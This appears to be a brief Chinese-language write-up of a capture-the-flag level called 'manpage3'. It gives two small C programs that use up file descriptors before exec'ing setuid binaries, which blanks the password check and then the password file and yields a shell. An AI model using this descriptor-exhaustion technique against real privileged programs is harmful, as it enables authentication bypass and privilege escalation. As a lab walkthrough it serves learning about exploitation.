还是那个道理,打开的file descriptor会经过exec保存下来。我最开始的想法是,打开很多文件,然后执行manpage3,那么读密码那里就读空,因为密码文件打不开了
#include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;for(i=4;i<1024;++i)open("./do.c",O_RDONLY);execl("./manpage3","./manpage3",NULL);}
这里上限1024是从ulimit -n
得到的
在我的机子上这样是可以的,但在主机那里就不行了……
然后用同样的思路执行manpage-reset,使得urandom打不开。这样的话程序会崩溃,但密码文件是”w”打开,offset还在文件起始处,所以什么都没写就关闭了
#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;FILE*fp;for(i=4;i<1024;++i)fp=fopen("/manpage/manpage3","r");execl("/manpage/manpage3-reset","/manpage/manpage3",NULL);}
之后再执行manpage3,密码为空,得到shell